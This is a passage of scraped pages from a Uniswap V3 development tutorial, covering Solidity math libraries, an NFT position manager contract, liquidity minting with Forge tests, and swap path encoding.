Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Math in Solidity Math in Solidity Re-using Math Contracts Math in Solidity # Due to Solidity not supporting numbers with th fractional part, math in Solidity is somewhat complicated. Solidity gives us integer and unsigned integer types, which are not enough for for more or less complex math calculations. Another difficulty is gas consumption: the more complex an algorithm, the more gas it consumes. Thus, if we need to have advanced math operations (like exp , ln , sqrt ), we want them to be as gas efficient as possible. And another big problem is the possibility of under/overflow. When multiplying uint256 numbers, theres a risk of an overflow: the result number might be so big that it wont fit into 256 bits. All these difficulties force us to use third-party math libraries that implement advanced math operations and, ideally, optimize their gas consumption. In the case when theres no library for an algorithm we need, well have to implement it ourselves, which is a difficult task if we need to implement a unique computation. Re-using Math Contracts # In our Uniswap V3 implementation, were going to use two third-party math contracts: PRBMath , which is a great library of advanced fixed-point math algorithms. Well use mulDiv function to handle overflows when multiplying and then dividing integer numbers. TickMath from the original Uniswap V3 repo. This contract implements two functions, getSqrtRatioAtTick and getTickAtSqrtRatio , which convert $\\sqrt{P}$s to ticks and back. Lets focus on the latter. In our contracts, well need to convert ticks to corresponding $\\sqrt{P}$ and back. The formulas are: $$\\sqrt{P(i)} = \\sqrt{1.0001^i} = 1.0001^{\\frac{i}{2}}$$ $$i = log_{\\sqrt{1.0001}}\\sqrt{P(i)}$$ These are complex mathematical operations (for Solidity, at least) and they require high precision because we dont want to allow rounding errors when calculating prices. To have better precision and optimization well need unique implementation. If you look at the original code of getSqrtRatioAtTick and getTickAtSqrtRatio youll see that theyre quite complex: therere a lot of magic numbers (like 0xfffcb933bd6fad37aa2d162d1a594001 ), multiplication, and bitwise operations. At this point, were not going to analyze the code or re-implement it since this is a very advanced and somewhat different topic. Well use the contract as is. And, in a later milestone, well break down the computations. \\[ \\] Math in Solidity Re-using Math Contracts", - "labels": [ - "Documentation" - ] - }, - { - "title": "NFT Manager Contract #", - "html_url": "https://uniswapv3book.com/docs/milestone_6/nft-manager/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer NFT Manager NFT Manager Contract The Minimal Contract Minting Adding Liquidity Remove Liquidity Collecting Tokens Burning NFT Manager Contract # Obviously, were not going to add NFT-related functionality to the pool contractwe need a separate contract that will merge NFTs and liquidity positions. Recall that, while working on our implementation, we built the UniswapV3Manager contract to facilitate interaction with pool contracts (to make some calculations simpler and to enable multi-pool swaps). This contract was a good demonstration of how core Uniswap contracts can be extended. And were going to push this idea a little bit further. Well need a manager contract that will implement the ERC721 standard and will manage liquidity positions. The contract will have the standard NFT functionality (minting, burning, transferring, balances and ownership tracking, etc.) and will allow to provide and remove liquidity to pools. The contract will need to be the actual owner of liquidity in pools because we dont want to let users to add liquidity without minting a token and removing entire liquidity without burning one. We want every liquidity position to be linked to an NFT token, and we want to them to be synchronized. Lets see what functions well have in the new contract: since itll be an NFT contract, itll have all the ERC721 functions, including tokenURI , which returns the URI of the image of an NFT token; mint and burn to mint and burn liquidity and NFT tokens at the same time; addLiquidity and removeLiquidity to add and remove liquidity in existing positions; collect , to collect tokens after removing liquidity. Alright, lets get to code. The Minimal Contract # Since we dont want to implement the ERC721 standard from scratch, were going to use a library. We already have Solmate in the dependencies, so were going to use its ERC721 implementation . Using the ERC721 implementation from OpenZeppelin is also an option, but I personally prefer the gas optimized contracts from Solmate. This will be the bare minimum of the NFT manager contract: contract UniswapV3NFTManager is ERC721 { address public immutable factory; constructor ( address factoryAddress) ERC721( \"UniswapV3 NFT Positions\" , \"UNIV3\" ) { factory = factoryAddress; } function tokenURI ( uint256 tokenId) public view override returns ( string memory ) { return \"\" ; } } tokenURI will return an empty string until we implement a metadata and SVG renderer. Weve added the stub so that the Solidity compiler doesnt fail while were working on the rest of the contract (the tokenURI function in the Solmate ERC721 contract is virtual, so we must implement it). Minting # Minting, as we discussed earlier, will involve two operations: adding liquidity to a pool and minting an NFT. To keep the links between pool liquidity positions and NFTs, well need a mapping and a structure: struct TokenPosition { address pool; int24 lowerTick; int24 upperTick; } mapping ( uint256 => TokenPosition) public positions; To find a position we need: a pool address; an owner address; the boundaries of a position (lower and upper ticks). Since the NFT manager contract will be the owner of all positions created via it, we dont need to store positions owner address and we can only store the rest data. The keys in the positions mapping are token IDs; the mapping links NFT IDs to the position data thats required to find a liquidity position. Lets implement minting: struct MintParams { address recipient; address tokenA; address tokenB; uint24 fee; int24 lowerTick; int24 upperTick; uint256 amount0Desired; uint256 amount1Desired; uint256 amount0Min; uint256 amount1Min; } function mint (MintParams calldata params) public returns ( uint256 tokenId) { ... } The minting parameters are identical to those of UniswapV3Manager , with an addition of recipient , which will allow to mint NFT to another address. In the mint function, we first add liquidity to a pool: IUniswapV3Pool pool = getPool(params.tokenA, params.tokenB, params.fee); ( uint128 liquidity, uint256 amount0, uint256 amount1) = _addLiquidity( AddLiquidityInternalParams({ pool : pool, lowerTick : params.lowerTick, upperTick : params.upperTick, amount0Desired : params.amount0Desired, amount1Desired : params.amount1Desired, amount0Min : params.amount0Min, amount1Min : params.amount1Min }) ); _addLiquidity is identical to the body of mint function in the UniswapV3Manager contract: it converts ticks to $\\sqrt(P)$, computes liquidity amount, and calls pool.mint() . Next, we mint an NFT: tokenId = nextTokenId ++ ; _mint(params.recipient, tokenId); totalSupply ++ ; tokenId is set to the current nextTokenId and the latter is then incremented. The _mint function is provided by the ERC721 contract from Solmate. After minting a new token, we update totalSupply . Finally, we need to store the information about the new token and the new position: TokenPosition memory tokenPosition = TokenPosition({ pool : address (pool), lowerTick : params.lowerTick, upperTick : params.upperTick }); positions[tokenId] = tokenPosition; This will later help us find liquidity position by token ID. Adding Liquidity # Next, well implement a function to add liquidity to an existing position, in the case when we want more liquidity to a position that already has some. In such cases, we dont want to mint an NFT, but only to increase the amount of liquidity in an existing position. For that, well only need to provide a token ID and token amounts: function addLiquidity (AddLiquidityParams calldata params) public returns ( uint128 liquidity, uint256 amount0, uint256 amount1 ) { TokenPosition memory tokenPosition = positions[params.tokenId]; if (tokenPosition.pool == address ( 0x00 )) revert WrongToken(); (liquidity, amount0, amount1) = _addLiquidity( AddLiquidityInternalParams({ pool : IUniswapV3Pool(tokenPosition.pool), lowerTick : tokenPosition.lowerTick, upperTick : tokenPosition.upperTick, amount0Desired : params.amount0Desired, amount1Desired : params.amount1Desired, amount0Min : params.amount0Min, amount1Min : params.amount1Min }) ); } This function ensures theres an existing token and calls pool.mint() with parameters of an existing position. Remove Liquidity # Recall that in the UniswapV3Manager contract we didnt implement a burn function because we wanted users to be owners of liquidity positions. Now, we want the NFT manager to be the owner. And we can have liquidity burning implemented in it: struct RemoveLiquidityParams { uint256 tokenId; uint128 liquidity; } function removeLiquidity (RemoveLiquidityParams memory params) public isApprovedOrOwner(params.tokenId) returns ( uint256 amount0, uint256 amount1) { TokenPosition memory tokenPosition = positions[params.tokenId]; if (tokenPosition.pool == address ( 0x00 )) revert WrongToken(); IUniswapV3Pool pool = IUniswapV3Pool(tokenPosition.pool); ( uint128 availableLiquidity, , , , ) = pool.positions( poolPositionKey(tokenPosition) ); if (params.liquidity > availableLiquidity) revert NotEnoughLiquidity(); (amount0, amount1) = pool.burn( tokenPosition.lowerTick, tokenPosition.upperTick, params.liquidity ); } Were again checking that provided token ID is valid. And we also need to ensure that a position has enough liquidity to burn. Collecting Tokens # The NFT manager contract can also collect tokens after burning liquidity. Notice that collected tokens are send to msg.sender since the contract manages liquidity on behalf of the caller: struct CollectParams { uint256 tokenId; uint128 amount0; uint128 amount1; } function collect (CollectParams memory params) public isApprovedOrOwner(params.tokenId) returns ( uint128 amount0, uint128 amount1) { TokenPosition memory tokenPosition = positions[params.tokenId]; if (tokenPosition.pool == address ( 0x00 )) revert WrongToken(); IUniswapV3Pool pool = IUniswapV3Pool(tokenPosition.pool); (amount0, amount1) = pool.collect( msg.sender, tokenPosition.lowerTick, tokenPosition.upperTick, params.amount0, params.amount1 ); } Burning # Finally, burning. Unlike the other functions of the contract, this function doesnt do anything with a pool: it only burns an NFT. And to burn an NFT, the underlying position must be empty and tokens must be collected. So, if we want to burn an NFT, we need to: call removeLiquidity an remove the entire position liquidity; call collect to collect the tokens after burning the position; call burn to burn the token. function burn ( uint256 tokenId) public isApprovedOrOwner(tokenId) { TokenPosition memory tokenPosition = positions[tokenId]; if (tokenPosition.pool == address ( 0x00 )) revert WrongToken(); IUniswapV3Pool pool = IUniswapV3Pool(tokenPosition.pool); ( uint128 liquidity, , , uint128 tokensOwed0, uint128 tokensOwed1) = pool .positions(poolPositionKey(tokenPosition)); if (liquidity > 0 || tokensOwed0 > 0 || tokensOwed1 > 0 ) revert PositionNotCleared(); delete positions[tokenId]; _burn(tokenId); totalSupply -- ; } Thats it! \\[ \\] NFT Manager Contract The Minimal Contract Minting Adding Liquidity Remove Liquidity Collecting Tokens Burning", - "labels": [ - "Documentation" - ] - }, - { - "title": "Providing Liquidity #", - "html_url": "https://uniswapv3book.com/docs/milestone_1/providing-liquidity/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Providing Liquidity Providing Liquidity Pool Contract Minting Testing Test Tokens Minting Failures Providing Liquidity # Enough of theory, lets start coding! Create a new folder (mine is called uniswapv3-code ), and run forge init --vscode in itthis will initialize a Forge project. The --vscode flag tells Forge to configure the Solidity extension for Forge projects. Next, remove the default contract and its test: script/Contract.s.sol src/Contract.sol test/Contract.t.sol And thats it! Lets create our first contract! Pool Contract # As youve learned from the introduction, Uniswap deploys multiple Pool contracts, each of which is an exchange market of a pair of tokens. Uniswap groups all its contract into two categories: core contracts, and periphery contracts. Core contracts are, as the name implies, the contracts that implement core logic. These are minimal, user- un friendly, low-level contracts. Their purpose is to do one thing and do it as reliably and securely as possible. In Uniswap V3, there are 2 such contracts: Pool contract, which implements the core logic of a decentralized exchange. Factory contract, which serves as a registry of Pool contracts and a contract that makes deployment of pools easier. Well begin with the pool contract, which implements 99% of the core functionality of Uniswap. Create src/UniswapV3Pool.sol : pragma solidity ^ 0 . 8 . 14 ; contract UniswapV3Pool {} Lets think about what data the contract will store: Since every pool contract is an exchange market of two tokens, we need to track the two token addresses. And these addresses will be static, set once and forever during pool deployment (thus, they will be immutable). Each pool contract is a set of liquidity positions. Well store them in a mapping, where keys are unique position identifiers and values are structs holding information about positions. Each pool contract will also need to maintain a ticks registrythis will be a mapping with keys being tick indexes and values being structs storing information about ticks. Since the tick range is limited, we need to store the limits in the contract, as constants. Recall that pool contracts store the amount of liquidity, $L$. So well need to have a variable for it. Finally, we need to track the current price and the related tick. Well store them in one storage slot to optimize gas consumption: these variables will be often read and written together, so it makes sense to benefit from the state variables packing feature of Solidity . All in all, this is what we begin with: // src/lib/Tick.sol library Tick { struct Info { bool initialized; uint128 liquidity; } ... } // src/lib/Position.sol library Position { struct Info { uint128 liquidity; } ... } // src/UniswapV3Pool.sol contract UniswapV3Pool { using Tick for mapping ( int24 => Tick.Info); using Position for mapping ( bytes32 => Position.Info); using Position for Position.Info; int24 internal constant MIN_TICK = - 887272 ; int24 internal constant MAX_TICK = - MIN_TICK; // Pool tokens, immutable address public immutable token0; address public immutable token1; // Packing variables that are read together struct Slot0 { // Current sqrt(P) uint160 sqrtPriceX96; // Current tick int24 tick; } Slot0 public slot0; // Amount of liquidity, L. uint128 public liquidity; // Ticks info mapping ( int24 => Tick.Info) public ticks; // Positions info mapping ( bytes32 => Position.Info) public positions; ... Uniswap V3 uses many helper contracts and Tick and Position are two of them. using A for B is a feature of Solidity that lets you extend type B with functions from library contract A . This simplifies managing complex data structures. For brevity, Ill omit detailed explanation of Solidity syntax and features. Solidity has great documentation , dont hesitate referring to it if something is not clear! Well then initialize some of the variables in the constructor: constructor ( address token0_, address token1_, uint160 sqrtPriceX96, int24 tick ) { token0 = token0_; token1 = token1_; slot0 = Slot0({sqrtPriceX96 : sqrtPriceX96, tick : tick}); } } Here, were setting the token address immutables and setting the current price and tickwe dont need to provide liquidity for the latter. This is our starting point, and our goal in this chapter is to make our first swap using pre-calculated and hard coded values. Minting # The process of providing liquidity in Uniswap V2 is called minting . The reason is that the V2 pool contract mints tokens (LP-tokens) in exchange for liquidity. V3 doesnt do that, but it still uses the same name for the function. Lets use it as well: function mint ( address owner, int24 lowerTick, int24 upperTick, uint128 amount ) external returns ( uint256 amount0, uint256 amount1) { ... Our mint function will take: Owners address, to track the owner of the liquidity. Upper and lower ticks, to set the bounds of a price range. The amount of liquidity we want to provide. Notice that user specifies $L$, not actual token amounts. This is not very convenient of course, but recall that the Pool contract is a core contractits not intended to be user-friendly because it should implement only the core logic. In a later chapter, well make a helper contract that will convert token amounts to $L$ before calling Pool.mint . Lets outline a quick plan of how minting will work: a user specifies a price range and an amount of liquidity; the contract updates the ticks and positions mappings; the contract calculates token amounts the user must send (well pre-calculate and hard code them); the contract takes tokens from the user and verifies that correct amounts were set. Lets begin with checking the ticks: if ( lowerTick >= upperTick || lowerTick < MIN_TICK || upperTick > MAX_TICK ) revert InvalidTickRange(); And ensuring that some amount of liquidity is provided: if (amount == 0 ) revert ZeroLiquidity(); Then, add a tick and a position: ticks.update(lowerTick, amount); ticks.update(upperTick, amount); Position.Info storage position = positions.get( owner, lowerTick, upperTick ); position.update(amount); The ticks.update function is: // src/lib/Tick.sol function update ( mapping ( int24 => Tick.Info) storage self, int24 tick, uint128 liquidityDelta ) internal { Tick.Info storage tickInfo = self[tick]; uint128 liquidityBefore = tickInfo.liquidity; uint128 liquidityAfter = liquidityBefore + liquidityDelta; if (liquidityBefore == 0 ) { tickInfo.initialized = true ; } tickInfo.liquidity = liquidityAfter; } It initialized a tick if it had 0 liquidity and adds new liquidity to it. As you can see, were calling this function on both lower and upper ticks, thus liquidity is added to both of them. The position.update function is: // src/libs/Position.sol function update (Info storage self, uint128 liquidityDelta) internal { uint128 liquidityBefore = self.liquidity; uint128 liquidityAfter = liquidityBefore + liquidityDelta; self.liquidity = liquidityAfter; } Similar to the tick update function, it adds liquidity to a specific position. And to get a position we call: // src/libs/Position.sol ... function get ( mapping ( bytes32 => Info) storage self, address owner, int24 lowerTick, int24 upperTick ) internal view returns (Position.Info storage position) { position = self[ keccak256(abi.encodePacked(owner, lowerTick, upperTick)) ]; } ... Each position is uniquely identified by three keys: owner address, lower tick index, and upper tick index. We hash the three to make storing of data cheaper: when hashed, every key will take 32 bytes, instead of 96 bytes when owner , lowerTick , and upperTick are separate keys. If we use three keys, we need three mappings. Each key would be stored separately and would take 32 bytes since Solidity stores values in 32-byte slots (when packing is not applied). Next, continuing with minting, we need to calculate the amounts that the user must deposit. Luckily, we have already figured out the formulas and calculated the exact amounts in the previous part. So, were going to hard code them: amount0 = 0 . 998976618347425280 ether ; amount1 = 5000 ether ; Well replace these with actual calculations in a later chapter. We will also update the liquidity of the pool, based on the amount being added. liquidity += uint128 (amount); Now, were ready to take tokens from the user. This is done via a callback: function mint (...) ... { ... uint256 balance0Before; uint256 balance1Before; if (amount0 > 0 ) balance0Before = balance0(); if (amount1 > 0 ) balance1Before = balance1(); IUniswapV3MintCallback(msg.sender).uniswapV3MintCallback( amount0, amount1 ); if (amount0 > 0 && balance0Before + amount0 > balance0()) revert InsufficientInputAmount(); if (amount1 > 0 && balance1Before + amount1 > balance1()) revert InsufficientInputAmount(); ... } function balance0 () internal returns ( uint256 balance) { balance = IERC20(token0).balanceOf( address (this)); } function balance1 () internal returns ( uint256 balance) { balance = IERC20(token1).balanceOf( address (this)); } First, we record current token balances. Then we call uniswapV3MintCallback method on the callerthis is the callback. Its expected that the caller (whoever calls mint ) is a contract because non-contract addresses cannot implement functions in Ethereum. Using a callback here, while not being user-friendly at all, lets the contract calculate token amounts using its current statethis is critical because we cannot trust users. The caller is expected to implement uniswapV3MintCallback and transfer tokens to the Pool contract in this function. After calling the callback function, we continue with checking whether the Pool contract balances have changed or not: we require them to increase by at least amount0 and amount1 respectivelythis would mean the caller has transferred tokens to the pool. Finally, were firing a Mint event: emit Mint(msg.sender, owner, lowerTick, upperTick, amount, amount0, amount1); Events is how contract data is indexed in Ethereum for later search. Its a good practice to fire an event whenever contracts state is changed to let blockchain explorer know when this happened. Events also carry useful information. In our case its: callers address, liquidity position owners address, upper and lower ticks, new liquidity, and token amounts. This information will be stored as a log, and anyone else will be able to collect all contract events and reproduce activity of the contract without traversing and analyzing all blocks and transactions. And were done! Phew! Now, lets test minting. Testing # At this point we dont know if everything works correctly. Before deploying our contract anywhere were going to write a bunch of tests to ensure the contract works correctly. Luckily to us, Forge is a great testing framework and itll make testing a breeze. Create a new test file: // test/UniswapV3Pool.t.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0 . 8 . 14 ; import \"forge-std/Test.sol\" ; contract UniswapV3PoolTest is Test { function setUp () public {} function testExample () public { assertTrue( true ); } } Lets run it: $ forge test Running 1 test for test/UniswapV3Pool.t.sol:UniswapV3PoolTest [ PASS ] testExample () ( gas: 279 ) Test result: ok. 1 passed; 0 failed; finished in 5.07ms It passes! Of course it is! So far, our test only checks that true is true ! Test contract are just contract that inherit from forge-std/Test.sol . This contract is a set of testing utilities, well get acquainted with them step by step. If you dont want to wait, open lib/forge-std/src/Test.sol and skim through it. Test contracts follow a specific convention: setUp function is used to set up test cases. In each test cases, we want to have a configured environment, like deployed contracts, minted tokens, initialized poolswell do all this in setUp . Every test case starts with test prefix, e.g. testMint() . This will let Forge distinguish test cases from helper functions (we can also have any function we want). Lets now actually test minting. Test Tokens # To test minting we need tokens. This is not a problem because we can deploy any contract in tests! Moreover, Forge can install open-source contracts as dependencies. Specifically, we need an ERC20 contract with minting functionality. Well use the ERC20 contract from Solmate , a collection of gas-optimized contracts, and make an ERC20 contract that inherits from the Solmate contract and exposes minting (its public by default). Lets install solmate : $ forge install rari-capital/solmate Then, lets create ERC20Mintable.sol contract in test folder (well use the contract only in tests): // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0 . 8 . 14 ; import \"solmate/tokens/ERC20.sol\" ; contract ERC20Mintable is ERC20 { constructor ( string memory _name, string memory _symbol, uint8 _decimals ) ERC20(_name, _symbol, _decimals) {} function mint ( address to, uint256 amount) public { _mint(to, amount); } } Our ERC20Mintable inherits all functionality from solmate/tokens/ERC20.sol and we additionally implement public mint method which will allow us to mint any number of tokens. Minting # Now, were ready to test minting. First, lets deploy all the required contracts: // test/UniswapV3Pool.t.sol ... import \"./ERC20Mintable.sol\" ; import \"../src/UniswapV3Pool.sol\" ; contract UniswapV3PoolTest is Test { ERC20Mintable token0; ERC20Mintable token1; UniswapV3Pool pool; function setUp () public { token0 = new ERC20Mintable( \"Ether\" , \"ETH\" , 18 ); token1 = new ERC20Mintable( \"USDC\" , \"USDC\" , 18 ); } ... In the setUp function, we deploy tokens but not pools! This is because all our test cases will use the same tokens but each of them will have a unique pool. To make setting up of pools cleaner and simpler, well do this in a separate function, setupTestCase , that takes a set of test case parameters. In our first test case, well test successful liquidity minting. This is what the test case parameters look like: function testMintSuccess () public { TestCaseParams memory params = TestCaseParams({ wethBalance : 1 ether , usdcBalance : 5000 ether , currentTick : 85176 , lowerTick : 84222 , upperTick : 86129 , liquidity : 1517882343751509868544 , currentSqrtP : 5602277097478614198912276234240 , shouldTransferInCallback : true , mintLiqudity : true }); Were planning to deposit 1 ETH and 5000 USDC into the pool. We want the current tick to be 85176, and lower and upper ticks being 84222 and 86129 respectively (we calculated these values in the previous chapter). Were specifying the precalculated liquidity and current $\\sqrt{P}$. We also want to deposit liquidity ( mintLiquidity parameter) and transfer tokens when requested by the pool contract ( shouldTransferInCallback ). We dont want to do this in each test case, so we want have the flags. Next, were calling setupTestCase with the above parameters: function setupTestCase (TestCaseParams memory params) internal returns ( uint256 poolBalance0, uint256 poolBalance1) { token0.mint( address (this), params.wethBalance); token1.mint( address (this), params.usdcBalance); pool = new UniswapV3Pool( address (token0), address (token1), params.currentSqrtP, params.currentTick ); if (params.mintLiqudity) { (poolBalance0, poolBalance1) = pool.mint( address (this), params.lowerTick, params.upperTick, params.liquidity ); } shouldTransferInCallback = params.shouldTransferInCallback; } In this function, were minting tokens and deploying a pool. Also, when the mintLiquidity flag is set, we mint liquidity in the pool. At the end, were setting the shouldTransferInCallback flag for it to be read in the mint callback: function uniswapV3MintCallback ( uint256 amount0, uint256 amount1) public { if (shouldTransferInCallback) { token0.transfer(msg.sender, amount0); token1.transfer(msg.sender, amount1); } } Its the test contract that will provide liquidity and will call the mint function on the pool, therere no users. The test contract will act as a user, thus it can implement the mint callback function. Setting up test cases like that is not mandatory, you can do it however feels most comfortable to you. Test contracts are just contracts. In testMintSuccess , we want to test that the pool contract: takes the correct amounts of tokens from us; creates a position with correct key and liquidity; initializes the upper and lower ticks weve specified; has correct $\\sqrt{P}$ and $L$. Lets do this. Minting happens in setupTestCase , so we dont need to do this again. The function also returns the amounts we have provided, so lets check them: ( uint256 poolBalance0, uint256 poolBalance1) = setupTestCase(params); uint256 expectedAmount0 = 0 . 998976618347425280 ether ; uint256 expectedAmount1 = 5000 ether ; assertEq( poolBalance0, expectedAmount0, \"incorrect token0 deposited amount\" ); assertEq( poolBalance1, expectedAmount1, \"incorrect token1 deposited amount\" ); We expect specific pre-calculated amounts. And we can also check that these amounts were actually transferred to the pool: assertEq(token0.balanceOf( address (pool)), expectedAmount0); assertEq(token1.balanceOf( address (pool)), expectedAmount1); Next, we need to check the position the pool created for us. Remember that the key in positions mapping is a hash? We need to calculate it manually and then get our position from the contract: bytes32 positionKey = keccak256( abi.encodePacked( address (this), params.lowerTick, params.upperTick) ); uint128 posLiquidity = pool.positions(positionKey); assertEq(posLiquidity, params.liquidity); Since Position.Info is a struct , it gets destructured when fetched: each field gets assigned to a separate variable. Next come the ticks. Again, its straightforward: ( bool tickInitialized, uint128 tickLiquidity) = pool.ticks( params.lowerTick ); assertTrue(tickInitialized); assertEq(tickLiquidity, params.liquidity); (tickInitialized, tickLiquidity) = pool.ticks(params.upperTick); assertTrue(tickInitialized); assertEq(tickLiquidity, params.liquidity); And finally, $\\sqrt{P}$ and $L$: ( uint160 sqrtPriceX96, int24 tick) = pool.slot0(); assertEq( sqrtPriceX96, 5602277097478614198912276234240 , \"invalid current sqrtP\" ); assertEq(tick, 85176 , \"invalid current tick\" ); assertEq( pool.liquidity(), 1517882343751509868544 , \"invalid current liquidity\" ); As you can see, writing tests in Solidity is not hard! Failures # Of course, testing only successful scenarios is not enough. We also need to test failing cases. What can go wrong when providing liquidity? Here are a couple of hints: Upper and lower ticks are too big or too small. Zero liquidity is provided. Liquidity provider doesnt have enough of tokens. Ill leave it for you to implement these scenarios! Feel free peeking at the code in the repo . \\[ \\] Providing Liquidity Pool Contract Minting Testing Test Tokens Minting Failures", - "labels": [ - "Documentation" - ] - }, - { - "title": "Swap Path #", - "html_url": "https://uniswapv3book.com/docs/milestone_4/path/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Swap Path Swap Path Path Library Calculating the Number of Pools in a Path Figuring Out If a Path Has Multiple Pools Extracting First Pool Parameters From a Path Proceeding to a Next Pair in a Path Decoding First Pool Parameters Swap Path # Lets imagine that we have only these pools: WETH/USDC, USDC/USDT, WBTC/USDT. If we want to swap WETH for WBTC, well need to make multiple swaps (WETHUSDCUSDTWBTC) since theres no WETH/WBTC pool. We can do this manually or we can improve our contracts to handle such chained, or multi-pool, swaps. Of course, well do the latter! When doing multi-pool swaps, were sending output of a previous swap to the input of the next one. For example: in WETH/USDC pool, were selling WETH and buying USDC; in USDC/USDT pool, were selling USDC from the previous swap and buying USDT; in WBTC/USDT pool, were selling USDT from the previous pool and buying WBTC. We can turn this series into a path: WETH/USDC,USDC/USDT,WBTC/USDT And iterate over such path in our contracts to perform multiple swaps in one transaction. However, recall from the previous chapter that we dont need to know pool addresses and, instead, we can derive them from pool parameters. Thus, the above path can be turned into a series of tokens: WETH, USDC, USDT, WBTC And recall that tick spacing is another parameter (besides tokens) that identifies a pool. Thus, the above path becomes: WETH, 60, USDC, 10, USDT, 60, WBTC Where 60 and 10 are tick spacings. Were using 60 in volatile pairs (e.g. ETH/USDC, WBTC/USDT) and 10 in stablecoin pairs (USDC/USDT). Now, having such path, we can iterate over it to build pool parameters for each of the pool: WETH, 60, USDC ; USDC, 10, USDT ; USDT, 60, WBTC . Knowing these parameters, we can derive pool addresses using PoolAddress.computeAddress , which we implemented in the previous chapter. We also can use this concept when doing swaps within one pool: the path would simple contain the parameters of one pool. And, thus, we can use swap paths in all swaps, universally. Lets build a library to work with swap paths. Path Library # In code, a swap path is a sequence of bytes. In Solidity, a path can be built like that: bytes .concat( bytes20 ( address (weth)), bytes3 ( uint24 ( 60 )), bytes20 ( address (usdc)), bytes3 ( uint24 ( 10 )), bytes20 ( address (usdt)), bytes3 ( uint24 ( 60 )), bytes20 ( address (wbtc)) ); And it looks like that: 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 # weth address 00003c # 60 A0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 # usdc address 00000a # 10 dAC17F958D2ee523a2206206994597C13D831ec7 # usdt address 00003c # 60 2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 # wbtc address These are the functions that well need to implement: calculating the number of pools in a path; figuring out if a path has multiple pools; extracting first pool parameters from a path; proceeding to the next pair in a path; and decoding first pool parameters. Calculating the Number of Pools in a Path # Lets begin with calculating the number of pools in a path: // src/lib/Path.sol library Path { /// @dev The length the bytes encoded address uint256 private constant ADDR_SIZE = 20 ; /// @dev The length the bytes encoded tick spacing uint256 private constant TICKSPACING_SIZE = 3 ; /// @dev The offset of a single token address + tick spacing uint256 private constant NEXT_OFFSET = ADDR_SIZE + TICKSPACING_SIZE; /// @dev The offset of an encoded pool key (tokenIn + tick spacing + tokenOut) uint256 private constant POP_OFFSET = NEXT_OFFSET + ADDR_SIZE; /// @dev The minimum length of a path that contains 2 or more pools; uint256 private constant MULTIPLE_POOLS_MIN_LENGTH = POP_OFFSET + NEXT_OFFSET; ... We first define a few constants: ADDR_SIZE is the size of an address, 20 bytes; TICKSPACING_SIZE is the size of a tick spacing, 3 bytes ( uint24 ); NEXT_OFFSET is the offset of a next token addressto get it, we skip an address and a tick spacing; POP_OFFSET is the offset of a pool key (token address + tick spacing + token address); MULTIPLE_POOLS_MIN_LENGTH is the minimum length of a path that contains 2 or more pools (one set of pool parameters + tick spacing + token address). To count the number of pools in a path, we subtract the size of an address (first or last token in a path) and divide the remaining part by NEXT_OFFSET (address + tick spacing): function numPools ( bytes memory path) internal pure returns ( uint256 ) { return (path.length - ADDR_SIZE) / NEXT_OFFSET; } Figuring Out If a Path Has Multiple Pools # To check if there are multiple pools in a path, we need to compare the length of a path with MULTIPLE_POOLS_MIN_LENGTH : function hasMultiplePools ( bytes memory path) internal pure returns ( bool ) { return path.length >= MULTIPLE_POOLS_MIN_LENGTH; } Extracting First Pool Parameters From a Path # To implement other functions, well need a helper library because Solidity doesnt have native bytes manipulation functions. Specifically, well need a function to extract a sub-array from an array of bytes, and a couple of functions to convert bytes to address and uint24 . Luckily, theres a great open-source library called solidity-bytes-utils . To use the library, we need to extend the bytes type in the Path library: library Path { using BytesLib for bytes ; ... } We can implement getFirstPool now: function getFirstPool ( bytes memory path) internal pure returns ( bytes memory ) { return path.slice( 